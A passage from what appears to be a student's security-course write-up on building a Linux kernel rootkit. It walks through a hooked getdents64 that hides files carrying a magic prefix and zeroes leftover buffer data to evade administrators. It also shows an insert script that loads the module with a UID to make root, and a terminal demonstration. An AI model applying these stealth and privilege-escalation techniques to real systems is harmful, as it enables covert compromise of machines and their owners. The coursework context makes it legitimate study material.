      ii. Start with the magic prefix. This is evaluated using `memcmp` to compare the first `prefix_len` bytes of the name.

   (b) If the name starts with the magic prefix, I do nothing at all. If it does not, however, I copy it into my "approved" buffer and update the length accordingly.

[10] Nor modifying in any way.

After this loop completes, my buffer of approved directory entries is complete. We can also observe that my buffer will have logical length > 0, as the "`.`" and "`..`" entries will be present even if all other entries were sanitized away.

6. I write my buffer of approved directory entries to user-mode memory using `copy_to_user`; specifically, I fill in the `dirp` parameter that was passed in `rsi` as the second parameter to the system call. This overwrites at least some of the data written here by the real `getdents64` handler, but not necessarily all of it (if I removed entries, the buffer I am writing is shorter).
7. If the buffer I wrote to user-mode memory is indeed shorter than the buffer the real `getdents64` handler wrote, I hide the remaining data by zeroing it out with `clear_user`. While such data would not be processed programmatically, it sure would tip off a human sysadmin to the presence of my rootkit, if seen—best to hide it completely.
8. Finally, I free the kernel-mode memory I allocated and return.

The hint text, which I interpret as informational and not normative, suggests editing the directory entry buffer in-place (after copying it to kernel mode). This approach was not prescribed by the question text itself—which specified a desired behaviour but not how to achieve it—and I did not take it. Here's two ways I could've edited the directory entry buffer in-place, and why I didn't:

1. It's easy enough to hide directory entries from a programmatic consumer by simply changing the previous entry's `d_reclen` to skip over them (though this is perhaps slightly annoying to code in a way that properly accounts for the case of multiple consecutive entries that need to be hidden). However, while this succeeds in hiding entries from a *programmatic* consumer, it makes it clear to any human examiner that a rootkit is present[11]; I judged this…undesirable.
2. It is also possible to remove a directory entry from the buffer by copying all subsequent entries down using `memmove`. However, I prefer my code to work first try (for reference, the code above did), and I find that uses of `memmove` are not conducive to this goal.

(Perhaps the main reason I didn't follow the approach outlined in the hint is I didn't read it until after I coded everything, only skimmed it.)

In any case, the question text does not prescribe any specific approach to use, so long as the desired functionality is in place—and my rootkit certainly works as specified.

I will now demonstrate that my rootkit hides files correctly by following the precise procedure given in the assignment spec:

```
root@COMP4108-a2:~/a2/Cq2# nano insert.sh; cat insert.sh
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt

# Specify the user that we want to make root, by ID
```

[11] At least, if they are looking at the buffer returned by `getdents64` in a directory with one or more entries hidden by the rootkit.

```
ROOT_UID=1001

# Specify the 'magic prefix' we use to hide directory entries
MAGIC_PREFIX='$sys$'

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID
 ↪  magic_prefix=$MAGIC_PREFIX
root@COMP4108-a2:~/a2/Cq2# make
make -C /lib/modules/5.4.0-171-generic/build M=/root/a2/Cq2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
  CC [M]  /root/a2/Cq2/rootkit.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /root/a2/Cq2/rootkit.mod.o
  LD [M]  /root/a2/Cq2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
root@COMP4108-a2:~/a2/Cq2# touch '$sys$_lol_hidden.txt'
root@COMP4108-a2:~/a2/Cq2# ls -l
total 72
-rw-r--r-- 1 root root     0 Oct  4 20:09 '$sys$_lol_hidden.txt'
-rwxr-xr-x 1 root root   107 Oct  4 17:07  eject.sh
-rwxr-xr-x 1 root root   366 Oct  4 17:14  insert.sh
-rw-r--r-- 1 root root   174 Oct  4 17:07  Makefile
-rw-r--r-- 1 root root    24 Oct  4 20:09  modules.order
-rw-r--r-- 1 root root     0 Oct  4 20:09  Module.symvers
-rw-r--r-- 1 root root  9710 Oct  4 19:13  rootkit.c
-rw-r--r-- 1 root root 13336 Oct  4 20:09  rootkit.ko
-rw-r--r-- 1 root root    24 Oct  4 20:09  rootkit.mod
-rw-r--r-- 1 root root  1482 Oct  4 20:09  rootkit.mod.c
-rw-r--r-- 1 root root  4536 Oct  4 20:09  rootkit.mod.o
-rw-r--r-- 1 root root 10176 Oct  4 20:09  rootkit.o
root@COMP4108-a2:~/a2/Cq2# ./insert.sh
root@COMP4108-a2:~/a2/Cq2# ls -l
total 72
-rwxr-xr-x 1 root root   107 Oct  4 17:07 eject.sh
-rwxr-xr-x 1 root root   366 Oct  4 17:14 insert.sh
-rw-r--r-- 1 root root   174 Oct  4 17:07 Makefile
-rw-r--r-- 1 root root    24 Oct  4 20:09 modules.order
-rw-r--r-- 1 root root     0 Oct  4 20:09 Module.symvers
-rw-r--r-- 1 root root  9710 Oct  4 19:13 rootkit.c
-rw-r--r-- 1 root root 13336 Oct  4 20:09 rootkit.ko
-rw-r--r-- 1 root root    24 Oct  4 20:09 rootkit.mod
-rw-r--r-- 1 root root  1482 Oct  4 20:09 rootkit.mod.c
-rw-r--r-- 1 root root  4536 Oct  4 20:09 rootkit.mod.o
```

```
-rw-r--r-- 1 root root 10176 Oct  4 20:09 rootkit.o
root@COMP4108-a2:~/a2/Cq2# ls -la
total 172
drwxr-xr-x 2 root root  4096 Oct  4 20:09 .
drwxrwxr-x 9 root root  4096 Oct  4 17:07 ..
-rwxr-xr-x 1 root root   107 Oct  4 17:07 eject.sh
-rwxr-xr-x 1 root root   366 Oct  4 17:14 insert.sh
-rw-r--r-- 1 root root   174 Oct  4 17:07 Makefile
-rw-r--r-- 1 root root    24 Oct  4 20:09 modules.order
-rw-r--r-- 1 root root     0 Oct  4 20:09 Module.symvers
-rw-r--r-- 1 root root  9710 Oct  4 19:13 rootkit.c
-rw-r--r-- 1 root root 13336 Oct  4 20:09 rootkit.ko
-rw-r--r-- 1 root root   222 Oct  4 20:09 .rootkit.ko.cmd
-rw-r--r-- 1 root root    24 Oct  4 20:09 rootkit.mod
-rw-r--r-- 1 root root  1482 Oct  4 20:09 rootkit.mod.c
-rw-r--r-- 1 root root   100 Oct  4 20:09 .rootkit.mod.cmd
-rw-r--r-- 1 root root  4536 Oct  4 20:09 rootkit.mod.o
-rw-r--r-- 1 root root 30906 Oct  4 20:09 .rootkit.mod.o.cmd
-rw-r--r-- 1 root root 10176 Oct  4 20:09 rootkit.o
-rw-r--r-- 1 root root 49729 Oct  4 20:09 .rootkit.o.cmd
```

As you can see, the rootkit hides entries with names that start with the magic prefix from directory listings.

(It would be desirable for a real rootkit to hook `getdents` [no 64!] and possibly other system calls[12], too—this one is as leaky as a sieve! But it proves the concept.)

[12] The one that lists loaded kernel modules comes to mind…